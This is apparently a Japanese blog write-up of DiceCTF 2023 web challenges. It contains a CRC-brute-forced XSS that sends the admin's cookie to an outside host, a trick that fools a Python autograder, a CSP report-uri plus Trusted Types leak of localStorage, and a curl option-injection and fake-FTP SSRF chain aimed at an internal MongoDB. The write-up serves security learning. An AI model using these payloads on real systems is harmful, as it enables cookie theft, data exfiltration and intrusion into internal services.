st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

DiceCTF 2023 writeup

あけましておめでとうございます。

2/4 - 2/6という日程で開催された。keymoonさんとチーム _(-.- _) )_ で参加し、33位だった。Web問は相変わらず面白かったけれども、solve数の少ない問題が全然解けず悔しい。unfinishedはあともう一歩で解けそうだという感覚があったので特に悔しい。後で復習したいところ。

作問者のwriteup:


競技時間中に解いた問題

[Web 115] recursive-csp (178 solves)

the nonce isn't random, so how hard could this be?

(the flag is in the admin bot's cookie)

(問題サーバのURLと、admin botにURLを通報できるフォーム)

与えられたURLにアクセスすると、次のようなシンプルなフォームが表示された。

HTMLを見ると <!-- /?source --> というコメントがある。/?source にアクセスすると、このWebアプリケーションのソースコードが表示された。

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

<?php echo $name ?> で単純なXSSができそうな感じがするが、nonce-basedなCSPがHTTPレスポンスヘッダに含まれている。もしJavaScriptコードを実行したければ <script nonce=XXXXXXXX>alert(123)</script> のように、CSPに含まれているnonceを属性値として持つ nonce 属性を script 要素に付与しなければならない。

では、そのnonceはどのように計算されているかというと、hash("crc32b", $name) とCRC32が使われている。ランダムに生成されているわけではないので、頑張れば当てられそう。ただ、そのCRCの計算に $nameXSSペイロードが使われているのが厄介。ペイロード中に、自身のCRCを含まなければならないことになる。

当てなければならない値は32ビットしかないので、ブルートフォースでもなんとかなるはず。nonce 属性の値は決め打ちにしつつ、ペイロードの後ろにランダムな4バイトをくっつけたもののCRCとそれが一致しているかをチェックし続けるようなコードを書く。わざわざこんなことをしなくてももっと綺麗な解法はありそうだが、解ければよし。

package main

import (
    "bytes"
    "fmt"
    "hash/crc32"
)

var table *crc32.Table

func bruteforce(base string, target uint32) bool {
    base_bytes := []byte(base)

    var a, b, c, d byte
    for a = 0x20; a < 0x7f; a++ {
        for b = 0x20; b < 0x7f; b++ {
            for c = 0x20; c < 0x7f; c++ {
                for d = 0x20; d < 0x7f; d++ {
                    var buf bytes.Buffer
                    buf.Write(base_bytes)
                    buf.Write([]byte{a, b, c, d})

                    h := crc32.Checksum(buf.Bytes(), table)
                    if h == target {
                        fmt.Printf("%s\n", buf.String())
                        return true
                    }
                }
            }
        }
    }

    return false
}

func main() {
    table = crc32.MakeTable(crc32.IEEE)
    template := "<script nonce=%08x>alert(123)</script>"

    var i uint32 = 0
    for {
        script := fmt.Sprintf(template, i)
        if bruteforce(script, i) {
            break
        }
        i++
    }
}

template<script nonce=%08x>location='http://(省略)/'+document.cookie</script> のようにCookieを抽出するペイロードに変える。実行すると、いい感じに nonce 属性の値とCRCが一致しているようなペイロードができあがった。

$ go run main.go
<script nonce=00000007>location='http://(省略)/'+document.cookie</script> g}t

これをURLに付与してadmin botに通報すると、adminがフラグを背負ってやってきた。

[Sat Feb  4 06:02:50 2023] 34.23.93.98:1066 [404]: (null) /flag=dice%7Bh0pe_that_d1dnt_take_too_l0ng%7D - No such file or directory
dice{h0pe_that_d1dnt_take_too_l0ng}

[Web 156] scorescope (55 solves)

I'm really struggling in this class. Care to give me a hand?

(問題サーバのURL)

ソースコードは提供されていない。与えられたURLにアクセスすると、以下のような画面が表示された。

ダウンロードできる template.py は以下のような内容だった。こんな感じでテンプレートと課題が用意されているので、解いていけばよいらしい。

# DICE 1001
# Homework 3
#
# @author [full name]
# @student_id [student id]
#
# Collaborators:
# - [list collaborators here]
#
# Resources:
# - [list resources consulted]

def add(a, b):
    '''
    Return the sum of a and b.

    Parameters:
        a (int): The first number to add.
        b (int): The second number to add.

    Returns:
        int: The sum of a and b.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

この template.py をそのままアップロードしてみると、次のような結果が表示された。テストケースは全部で22個あるらしい。また、各ケースの実行中になんらかのエラーが発生した場合には、その内容を出力してくれるらしい。ただし、エラーを出力してくれるのは22個中の21個のみで、最後の1個はエラーの内容が隠される。template.py 中にも対応する関数は存在しておらず、どんなケースかエスパーする必要がありそうだ。

これはWeb問なので、なんとかして採点者をだませないか考える。まず思いついたのは os.system でのOSコマンドの実行や、open でのファイルの読み書きだった。import osos.environ などへのアクセスだけなら許されるのだけれども、os.system('id')open('/etc/passwd') のように関数を実行した途端に

There was a problem grading your submission. Make sure your submission does not open files, import extra modules, run shell commands, or do anything too fancy.

と怒られてしまった。__import__('subp'+'rocess') でも同様に怒られるし、単純な文字列比較とかASTをなめたりとかによるチェックでなく、seccompでも使っていそう。

ということで、そもそもテストを受けずにOSコマンドを実行したりするような方向でなく、真面目にテストを受けるふりをしてズルをする方向で頑張っていく。submission.add(test_x, test_y) == answer みたいな感じで比較をして正誤判定をしているのではないかと考え、以下のように何を比較されても True を返すようなオブジェクトを作ってみる。

class A:
    def __eq__(self, a):
        return True

def add(a, b):
    return A()

これを add 以外の課題についても同じような関数に置き換えた上で提出したところ、一部のケースでは通るものの、test_hidden などではダメだった。気になるのは test_longest_… などの課題で出ているエラーメッセージで、いわく

AssertionError: Lists differ: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,[145 chars]0, 0] != [220, 85, 97, 137, 171, 187, 145, 137, 74,[251 chars] 154]

First differing element 0:
0
220

Diff is 917 characters long. Set self.maxDiff to None to see it.

とのこと。エラーメッセージの一部でググってみると、これは unittest というモジュールに関連しているっぽい。ここから情報が得られないだろうか。unittest.TestCase というクラスを継承しているクラスがないか、以下のようにわざとエラーを吐きつつ、そのメッセージとして repr(unittest.TestCase.__subclasses__()) を渡すことで調べてみる。

def add(a, b):
    raise Exception(repr(unittest.TestCase.__subclasses__()))

これを提出してみると、以下のようなエラーメッセージが出力された。最後の util.TestCase というのが unittest モジュールには付属していないクラスに見え、気になる。

Exception: [<class 'unittest.case.FunctionTestCase'>, <class 'unittest.case._SubTest'>, <class 'unittest.loader._FailedTest'>, <class 'util.TestCase'>]

inspect モジュールを利用して、このクラスがどのファイルで定義されているか確認する。raise Exception(repr(inspect.getfile(unittest.TestCase.__subclasses__()[-1]))) で、以下のようなエラーメッセージが出力された。/app/util.py というファイルで定義されているらしく、やはり unittest モジュールには付属していないクラスっぽい。

Exception: '/app/util.py'

"util" ということは単体で動くわけではないだろうし、これをインポートしているファイルがあるはず。エントリーポイントを探していきたい。__main__ モジュールimport __main__ でインポートし、このモジュールに含まれるものを raise Exception(repr(dir(__main__))) で取得する。すると、次のエラーメッセージの通りに得られた。

Exception: ['SilentResult', 'SubmissionImporter', 'TestCase', 'TestLoader', 'TextTestRunner', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'current', 'f', 'json', 'stack', 'stderr', 'stdout', 'submission', 'suite', 'sys', 'test', 'tests']

tests という変数が怪しく見える。__main__.tests を取得してみると、次のようにテストケースの名前が入っていた。

Exception: ['test_hidden', 'test_magic_a', 'test_magic_b', 'test_magic_c', 'test_preimage_a', 'test_preimage_b', 'test_factor_bigger', 'test_factor_large', 'test_factor_small', 'test_favorite', 'test_common_consecutive', 'test_common_empty', 'test_common_many', 'test_common_nonconsecutive', 'test_common_single', 'test_longest_empty', 'test_longest_multiple', 'test_longest_multiple_tie', 'test_longest_single', 'test_add_mixed', 'test_add_negative', 'test_add_positive']

もし、この配列のすべての要素を同じ名前にするとどうなるだろうか。次のコードを使って、__main__.teststest_favorite というテストケースの名前で埋めつつ、このケースに対応する関数の favorite は先程作った必ず正解と判定されるオブジェクトを返すようにする。

import __main__

class A():
    def __eq__(self, other):
        return True

def add(a, b):
    __main__.tests = ['test_favorite'] * 22
    raise Exception(repr(__main__.tests))

def favorite():
    return A()

これを提出すると、なんと全問正解したことになった。フラグもくれた。

dice{still_more_secure_than_gradescope}

[Web 202] codebox (30 solves)

strellic makes csp challs, maybe i should try one sometime

(問題サーバのURLと、admin botにURLを通報できるフォーム)

添付ファイル: codebox.tar.gz

ソースコードが与えられている。サーバ側のコードはシンプルで、/ というひとつのパスしかない。

const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');

const box = require('fs').readFileSync('box.html', 'utf-8');

fastify.get('/', (req, res) => {
    const code = req.query.code;
    const images = [];

    if (code) {
        const parsed = HTMLParser.parse(code);
        for (let img of parsed.getElementsByTagName('img')) {
            let src = img.getAttribute('src');
            if (src) {
                images.push(src);
            }
        }
    }

    const csp = [
        "default-src 'none'",
        "style-src 'unsafe-inline'",
        "script-src 'unsafe-inline'",
    ];

    if (images.length) {
        csp.push(`img-src ${images.join(' ')}`);
    }

    res.header('Content-Security-Policy', csp.join('; '));

    res.type('text/html');
    return res.send(box);
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

クエリパタメータの code をHTMLとしてパースし、それに含まれる img 要素について、src 属性で設定されている画像のパスを収集している。そして、以下のCSPにさらに img-src (収集した画像のパスをスペースで結合したもの) を追加して、CSPヘッダとして出力している。

画像のパスにセミコロンが含まれているかチェックしていないので、たとえば <img src="a; frame-src 'self'"> のような img 要素を与えることで、CSP内に限られる(新たなHTTPレスポンスヘッダの追加などはできない)がinjectionができそうだ。

default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'

/ が返す box.html は次のような内容になっている。クエリパラメータに含まれるHTMLに対しては、サーバ側ではそれをパースしてCSPヘッダを出力しただけだったが、クライアント側では iframe 要素の srcdoc 属性を使ってその表示までしている。一見XSSができそうに見えるが、残念ながら frame.sandbox = '';sandbox 属性が付与されているために、そう簡単にはJSコードの実行にはたどり着けなさそう。

script 要素の最後の2行からもわかるように、フラグは localStorage に格納されているようだ。それを h1 要素の内容として書き出している。localStorage を直接読み出すか、それとも h1 要素の内容をなんらかの方法で読み出すか、あるいはそれ以外の方法か。

<!DOCTYPE html>
<html lang="en">
<head>
  <title>codebox</title>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <style>
    * {
        margin: 0;
        font-family: monospace;
        line-height: 1.5em;
    }
    
    div {
        margin: auto;
        width: 80%;
        padding: 20px;
    }
    
    textarea {
        width: 100%;
        height: 200px;
        max-width: 500px;
    }

    iframe {
        border: 1px solid lightgray;
    }
  </style>
</head>
<body>
  <div id="content">
    <h1>codebox</h1>
    <p>Codebox lets you test your own HTML in a sandbox!</p>
    <br>
    <form action="/" method="GET">
        <textarea name="code" id="code"></textarea>
        <br><br>
        <button>Create</button>
    </form>
    <br>
    <br>
  </div>
  <div id="flag"></div>
</body>
<script>
    const code = new URL(window.location.href).searchParams.get('code');
    if (code) {
        const frame = document.createElement('iframe');
        frame.srcdoc = code;
        frame.sandbox = '';
        frame.width = '100%';
        document.getElementById('content').appendChild(frame);
        document.getElementById('code').value = code; 
    }

    const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
    document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
  </script>
</html>

まず思いついたのは、CSPへのinjectionを使うことだった。だってどう考えても怪しいし。CSPのディレクティブの中には(使うのは推奨されていないけど) report-uri というものがあり、これを付与することで、もしCSPの違反があった場合に指定したURLへその情報を送信させることができる。雑に <img src="hoge; report-uri https://(Webhook.siteのURL)"> を投げてみたものの、飛んできたのは img-src の違反に関する情報で、フラグなどの欲しい情報は含まれていない。

{
  "csp-report": {
    "document-uri": "about",
    "referrer": "",
    "violated-directive": "img-src",
    "effective-directive": "img-src",
    "original-policy": "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src hoge; report-uri https://webhook.site/…",
    "disposition": "enforce",
    "blocked-uri": "https://codebox.mc.ax/hoge;%20report-uri%20https://webhook.site/…",
    "status-code": 0,
    "script-sample": ""
  }
}

これでなんとかしてフラグを含んだCSPの違反レポートを送信させられないかと悩む。ソースコードを見つつ考えていたところ、以下のフラグを出力する処理が気になった。なぜ textContent などによる安全な書き込みでなく、わざわざ innerHTML を使っているのか。

    const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
    document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;

ここで、Trusted Typesとの合わせ技を思いつく。もし(ポリシーが一切作成されていない状態の)Trusted Typesを有効化すれば、この innerHTML への代入は弾かれるはずだ。そして、その(フラグを含んだ)違反の情報は report-uri ディレクティブのおかげでWebhook.siteに飛ぶはず。Trusted Typesの有効化は、trusted-types ディレクティブと require-trusted-types-for ディレクティブをCSPに付与することでできる。CSPへのinjectionだけでちゃんと動きそうだ。

そこで、以下のHTMLによって default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src piyo; report-uri https://webhook.site/…; require-trusted-types-for 'script'; trusted-types というCSPが有効化されるようにしてみた…はずが、なぜか動かない。

<s>test</s><img src="piyo;"><img src="report-uri https://webhook.site/…;"><img src="require-trusted-types-for 'script'; trusted-types">

DevToolsを開いてエラーログを見てみると、どうやら "Failed to set the 'srcdoc' property on 'HTMLIFrameElement': This document requires 'TrustedHTML' assignment." と srcdoc への代入でコケているとわかる。再度 box.html 中の script 要素のスクリプトを見直す。フラグの表示の前に srcdoc への代入があるので、そこでコケてしまったらフラグの表示までたどり着けなくて困る。どうすればよいだろうか。

    const code = new URL(window.location.href).searchParams.get('code');
    if (code) {
        const frame = document.createElement('iframe');
        frame.srcdoc = code;
        frame.sandbox = '';
        frame.width = '100%';
        document.getElementById('content').appendChild(frame);
        document.getElementById('code').value = code; 
    }

    const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
    document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;

ここで、サーバ側ではクエリパラメータへのアクセスに req.query.code とFastifyが解釈した結果を、クライアント側では new URL(window.location.href).searchParams.get('code') とまた別の方法で解釈した結果を使っていることに気づく。

サーバ側では req.query.code が普通にHTMLを返しつつ、一方でクライアント側では code が空文字列などのfalsyな値になることで、if (code) { … } 中の srcdoc への代入が飛ばされるようにはできないだろうか。つまり、サーバ側とクライアント側でのクエリパラメータの解釈の違いが利用できるのではないか。

サーバ側とクライアント側で code にどのような値が入るかを確認できるスクリプトを用意する。

const fastify = require('fastify')();

fastify.get('/', (req, res) => {
    const code = req.query.code;
    return res.type('text/html').send(`
<div>server: <code>${JSON.stringify(code)}</code></div>
<div>client: <code id="output"></code></div>
<script>
const output = document.getElementById('output');
const code = new URL(window.location.href).searchParams.get('code');
output.textContent = JSON.stringify(code);
</script>
    `)
});

fastify.listen({ host: '0.0.0.0', port: 8080 });

/?code=hoge では、もちろん両方とも "hoge" になる。

/?code=hoge&code=fuga だと、サーバ側では ["hoge","fuga"] という配列になるのに対して、クライアント側では "hoge" という文字列になる。この挙動は使えそうだ。

/?code=&code=(さっき作ったペイロード) にアクセスすると、サーバはこれを素直に文字列として受け取り、先程と同じCSPを返す。一方で、クライアント側では code には空文字列が入っているので、srcdoc への文字列の代入は行われず、document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`までたどり着ける。ローカルで試したところ、次のようにダミーのフラグを手に入れられた。

admin botにこのURLを通報したところ、次のように <h1>dice{i_als0_wr1te_csp_bypasses}\n</h1> という文字列が innerHTML に代入されようとしているというCSP違反の情報が飛んできた。フラグが得られた。

dice{i_als0_wr1te_csp_bypasses}

競技が終わってから復習した問題

[Web 290] unfinished (14 solves)

It's the day of the CTF and I haven't finished writing this challenge...

Well, unfinished doesn't mean unsolvable.

(問題サーバのインスタンスを立ち上げられるURL)

添付ファイル: unfinished.tar.gz

ソースコードが与えられている。docker-compose.yml から、Node.jsで書かれた app と、MongoDBサーバの動いている mongo という2つのコンテナが存在していることがわかる。

version: "3.9"
services:
  app:
    build: ./app/
    ports:
      - "4444:4444"
  mongodb:
    build: ./mongo/

まずは mongo から見ていく。mongo は次のようなスクリプトで初期化されている。app というDBにはユーザの認証情報が、secret にはフラグが格納されていることがわかる。secret.flag からフラグを抜き出せばよさそう。app からのSSRFやNoSQL Injectionだろうか。

const crypto = require("crypto");

const app = db.getSiblingDB('app');
app.users.insertOne({ user: crypto.randomBytes(8).toString("hex"), pass: crypto.randomBytes(64).toString("hex") });

const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || "dice{test_flag}" });

app を見ていく。ソースコードは次の通りだけれども、ユーザ登録が未実装だったり、TODOのコメントがたくさん残されていたりと、問題名や問題文の通り未完成っぽい。"unfinished doesn't mean unsolvable" というのを信じたいところ。

/api/ping というAPIを使うと、curl でアクセスすることで与えたURLが生きているかどうかをチェックしてくれるっぽい。おそらくここに脆弱性があるのだろうが、curl を叩く処理の前に requiresLogin というミドルウェアが挟まれている。これはセッションの情報をもとにログイン済みかどうかをチェックするもので、もしログインしていなければ / にリダイレクトされてしまう。

それならログインするしかないかと思いつつ、ログインするためのAPIである /api/login の処理を見る。await users.findOne({ user, pass }) でNoSQL Injectionチャンス! かと思いきや、その直前で typeof user !== "string" || typeof pass !== "string"userpass がいずれも文字列であることがチェックされており、残念ながら無理。

const { MongoClient } = require("mongodb");
const cp = require('child_process');
const express = require("express");

const client = new MongoClient("mongodb://mongodb:27017/");
const app = express();

const PORT = process.env.PORT || 4444;

app.use(express.urlencoded({ extended: false }));
app.use(require("express-session")({
    secret: require("crypto").randomBytes(32).toString("hex"),
    resave: false,
    saveUninitialized: false
}));

/*
// TODO: add register functionality
app.post("/api/register", (req, res) => {

});
*/

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

app.post("/api/login", async (req, res) => {
    let { user, pass } = req.body;
    if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.redirect("/?error=Missing username or password");
    }

    const users = client.db("app").collection("users");
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect("/");
    }
    res.redirect("/?error=Invalid username or password");
});

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

app.get("/", (req, res) => res.sendFile(req.session.user ? "dashboard.html" : "index.html", { root: "static" }));

client.connect().then(() => {
    app.listen(PORT, () => console.log(`web/unfinished listening on http://localhost:${PORT}`));
});

/api/login はどう見ても脆弱ではないので、では requiresLogin が怪しいのではないかと考える。よく見ると、res.redirect を呼び出す際に関数を return していない。なので、直後の next を呼び出す処理まで実行されてしまい、curl を叩くコールバック関数が呼び出されてしまう。ログインしているかどうかのチェックが機能していない。

試しに curl http://localhost:4444/api/ping -d "url=https://webhook.site/…"/api/ping を叩いてみたところ、指定したWebhook.siteのページへのアクセスが来た。これで requiresLogin が機能していないことが確認できた。

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

/api/ping の処理を詳しく見ていく。curl にアクセスさせるURLを指定する url のほかにも、optdata というパラメータを受け付けている。これらのパラメータには、以下のような検証処理が行われている:

  • url は、URLとして解釈した際のプロトコルhttp: もしくは https: でなければならない
  • opt は、^-[A-Za-z]$ のように1文字の短縮オプションでなければならない
  • opt-d であるか、そうでない場合には dataGETPOST でなければならない

-d オプションを使って好きなWebサーバに、好きな内容でPOSTできるという点がまず魅力的に見える。これでMongoDBにSSRFだ! と思ったものの、そもそもMongoDBをHTTPのAPIで操作できるのかという疑問が湧く。試しに app のコンテナからGETしてみると、次のようなメッセージが返ってきた。調べてみると、どうやらREST APIで操作できる機能は3.6で削除されたらしい。REST In Peace。

user@51be22709e2e:/app$ curl http://mongodb:27017
It looks like you are trying to access MongoDB over HTTP on the native driver port.

じゃあ今はどういうプロトコルでMongoDBサーバと通信できるのかというと、バイナリのプロトコルが使われているらしい。url のチェックをバイパスする方法は後で考えるとして、とりあえずGopherだ! と思って app のコンテナで、Gopherプロトコルを使ってMongoDBサーバにアクセスできるかチェックしてみたものの、様子がおかしい。どうして使えないんだ…?

user@51be22709e2e:/app$ curl gopher://mongodb:27017
curl: (1) Protocol "gopher" not supported or disabled in libcurl
user@51be22709e2e:/app$ curl --proto +gopher gopher://mongodb:27017
Warning: unrecognized protocol 'gopher'
curl: (1) Protocol "gopher" not supported or disabled in libcurl

このコンテナではcurlapt install curl によってインストールされているわけではない。Dockerfile を見ると次のような記述があり、CTFの開催時点で最新のバージョンである7.87.0を、--disable-gopherGopherプロトコルを無効化するオプション付きでビルドしていることがわかる。Gopherプロトコルは任意のバイト列をサーバに送りつけられるという点でSSRFにとても便利なので、それは困る。

RUN wget -q https://curl.haxx.se/download/curl-7.87.0.tar.gz && \
    tar xzf curl-7.87.0.tar.gz

WORKDIR /tmp/curl-7.87.0

RUN ./configure --prefix=/build \
      --disable-shared --enable-static --with-openssl \
      --disable-gopher && \
    make && \
    make install

ビルドされた curl で利用できるプロトコルを確認すると、まだいくつか有用そうなものが残っているのがわかる。dict, telnet, tftp あたりだ。ただ、dict はRedisのようにテキストのプロトコルかつゆるゆるだと便利なんだけれども、最初に CLIENT libcurl 7.68.0 のようなゴミが入るし、またNULLバイトを挿入する必要があるようなプロトコルだと難しい。tftpUDPなので、そもそもTCPであるMongoDBとは合わない。telnet は…どうだろう。

user@51be22709e2e:/app$ curl --version
curl 7.87.0 (x86_64-pc-linux-gnu) libcurl/7.87.0 OpenSSL/1.1.1n
Release-Date: 2022-12-21
Protocols: dict file ftp ftps http https imap imaps mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile NTLM NTLM_WB SSL threadsafe TLS-SRP UnixSockets

そんな感じのことを考えていても、そもそも httphttps 以外のプロトコルのURLにアクセスさせる方法を見つけられない限り意味がない。このチェックのバイパスの方法としてまず思いついたのは、引数を取らない短縮オプションを opt に指定することだったが、すぐに「opt-d でない場合には dataGETPOST でなければならない」という条件を思い出して、無理だと気づく。じゃあ、dataGETPOST に限られてしまうけれども、それでも使えるような便利な短縮オプションがないか探すかと考える。man とにらめっこだ。

一個一個オプションを見ていくと、-K <file> (--config <file>) というオプションがあることに気づいた。これは指定したファイルを設定ファイルとして読み込むものらしい。設定ファイルというか、ファイル経由で任意の curl のオプションを付与できるようになるというもの。なるほど、これなら GETPOST というファイルに設定ファイルをダウンロードしてくればよいから使えそうだ。

ではどうやって GETPOST に設定ファイルをダウンロードしてくるかというと、こちらは -o <file> (--output <file>)がある。ダウンロードできるかどうかについては、child_process.spawn に与えるオプションで cwd: "/tmp" を与えていて、/tmp をカレントディレクトリとしているから大丈夫だろう。

-o オプションで設定ファイルをダウンロードしてきた後に、-K オプションでそれを読み込ませるという方法が使えるか確認する。まず、次のような設定ファイルを用意する。これは superagent/1.0 をユーザエージェントとするものだ。

user-agent = "superagent/1.0"

この設定ファイルを自分の管理するWebサーバでホストしつつ、-o オプションを使って問題サーバに /tmp/GET へダウンロードさせる。そして、-K/tmp/GET を設定ファイルとして読み込ませて、Webhook.siteのページにアクセスさせる。

$ curl http://localhost:4444/api/ping -d "url=http://…&opt=-o&data=GET"
Found. Redirecting to /?error=You%20need%20to%20be%20logged%20in
$ curl http://localhost:4444/api/ping -d "url=https://webhook.site/…&opt=-K&data=GET"
Found. Redirecting to /?error=You%20need%20to%20be%20logged%20in

Webhook.siteを確認すると、ちゃんと user-agent: superagent/1.0 なHTTPリクエストが問題サーバから来た。やったー。ただ、これをどう悪用できるかを考える必要がある。実質的に任意の curl のオプションを利用できるようになったわけで、今度は短縮オプションだけでなく、すべてのオプションについて一つ一つ見ていかなければならない。つらい~。

眺めていて気になったのは --netrc-file だった。これは .netrc を好きなファイルから読み込めるというもので、ワンチャン curl 以外のOSコマンドの実行に持ち込めるのではないかと考えた。が、残念ながらそのあたりは潰されているっぽかった。

設定ファイルの説明を読み直していて、url = "ftp://example.com" というような項目を追加すると http, https 以外のプロトコルでもアクセスさせられることに気づいた。なるほどこれで telnet が使えるなあと思いつつも、どうやってMongoDBサーバに secret.flag をくれ~と要求するメッセージを送ればよいだろうかと悩む。というのも、ローカルで nc -lp … で待ち受けつつ curl "telnet://…" のようなコマンドを実行してみたりしたが、どうやって標準入力以外からデータを持ってきて送信させられるかがわからなかったから。

では telnet 以外のプロトコルに使えるものがないかと、もう一度 curl --version で表示された、対応しているプロトコルの一覧を見直す。ftp がある。FTPは実際にどういうメッセージを送受信しているかよく理解していなかったし、アクティブモードとかパッシブモードとかあるけれども、これらの違いもまったくわかっていなかった。ということでググって調べていた

今回は問題サーバがFTPのクライアント側となるので、つまり我々が操作して好き勝手にメッセージを返せるのはサーバ側ということになる。そういうわけなので、もし悪用できるならデータコネクションを張る際にクライアント側からサーバ側に接続しに行くパッシブモードの方だろうと考えた。というのも、調べた限りではパッシブモードではサーバ側が 227 もしくは 229 というリプライコードを使って、その接続先のIPアドレスとポート番号(229 ではポート番号のみ)を返すとわかったから。そこでMongoDBサーバのIPアドレスと、27017というポート番号を返すことで、クライアント側がMongoDBサーバの 27017/tcp に接続しに行き、そしてそのコネクションでファイルをアップロードさせることでSSRFができるのではないかと考えた。

そういうわけで、pwntoolsを使って雑に偽のFTPサーバを作る。USER やら PWD やらのコマンドははいはいと聞き流しつつ、PASV が飛んできたら 227 Entering passive mode (172.22.0.2,105,137). のような感じで自らのものでないIPアドレスとポート番号を返すようにする。

import time
from pwn import *

TARGET_IP_ADDR = '172.22.0.2' # MongoDBサーバのIPアドレス
TARGET_PORT = 27017

def callback(conn):
    conn.send(b'220 ready\r\n')

    while True:
        r = conn.recvline().decode().strip()
        print(r)
        c, *rest = r.split(' ', 1)

        if c == 'USER':
            conn.send(b'331 ok\r\n')
        elif c == 'PASS':
            conn.send(b'230 ok\r\n')
        elif c == 'PWD':
            conn.send(b'257 "/" desu\r\n')
        elif c == 'EPSV':
            conn.send(b'500 dame\r\n')
        elif c == 'PASV':
            resp = '227 Entering Passive Mode ({},{},{}).\r\n'.format(
                TARGET_IP_ADDR.replace('.', ','),
                TARGET_PORT >> 8,
                TARGET_PORT & 0xff
            )
            conn.send(resp.encode())
        elif c == 'TYPE':
            conn.send(b'200 ok\r\n')
        elif c == 'STOR':
            conn.send(b'125 ok\r\n')
            time.sleep(1)
            conn.send(b'226 complete\r\n')
        elif c == 'QUIT':
            conn.send(b'221 bye\r\n')
            break
        else:
            conn.send(b'500 shiran\r\n')

s = server(22222, callback=callback)
input('')

これで、/api/ping に(設定ファイルを使いつつ) curl -u user:password ftp://(IPアドレス):22222 -T /etc/passwd --ftp-pasv 相当のことをさせてみたところ、なぜかうまくいかない。

どういうことかと思いつつ、curlmanFTP関連のオプションを探していると、どうやら curl では --no-ftp-skip-pasv-ip というオプションを明示的に付与しない限り、227 の返すIPアドレスは無視する(代わりにポート番号は 227 で返ってきたものをそのまま使いつつ、IPアドレスはコントロールコネクションで接続しているサーバのものを使う)ことがわかった。これを設定ファイルに書き加える。

url = "ftp://…:22222" # 偽FTPサーバ
upload = "/etc/passwd"
ftp-pasv
no-ftp-skip-pasv-ip

今度はいけた。無事に 227 で指定したIPアドレス・ポート番号へ curl からアクセスが来たことが、MongoDBサーバのログからわかる。

unfinished-mongodb-1  | {"t":{"$date":"2023-02-09T17:26:24.372+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"172.22.0.3:45972","uuid":"1a0a6d7f-474b-4326-be2b-45e13115341a","connectionId":15,"connectionCount":4}}
unfinished-mongodb-1  | {"t":{"$date":"2023-02-09T17:26:24.531+00:00"},"s":"I",  "c":"NETWORK",  "id":22988,   "ctx":"conn15","msg":"Error receiving request from client. Ending connection from remote","attr":{"error":{"code":141,"codeName":"SSLHandshakeFailed","errmsg":"SSL handshake received but server is started without SSL support"},"remote":"172.22.0.3:45972","connectionId":15}}
unfinished-mongodb-1  | {"t":{"$date":"2023-02-09T17:26:24.531+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn15","msg":"Connection ended","attr":{"remote":"172.22.0.3:45972","uuid":"1a0a6d7f-474b-4326-be2b-45e13115341a","connectionId":15,"connectionCount":3}}

後はMongoDBサーバが解釈できるようなメッセージを送りつけるだけかと思いきや、-o (--output)オプションなどでログを出力するようにしたとしても、データコネクションでサーバ側が返したメッセージはどこにも保存されないことに気づく。つまり、MongoDBサーバにメッセージを送りつけることはできても、返ってきたレスポンスを読むことはできない。

curl の終了コードは得られるから、Blind Regular Expression Injection Attackとかでちまちまフラグを得られるだろうかとか、いい感じのMongoDBのコマンドはないだろうかとか、そもそもTLS-poisonなんじゃないかとか調べているうちに時間切れ。競技中はここでつまずいてそのまま解けなかった🤷


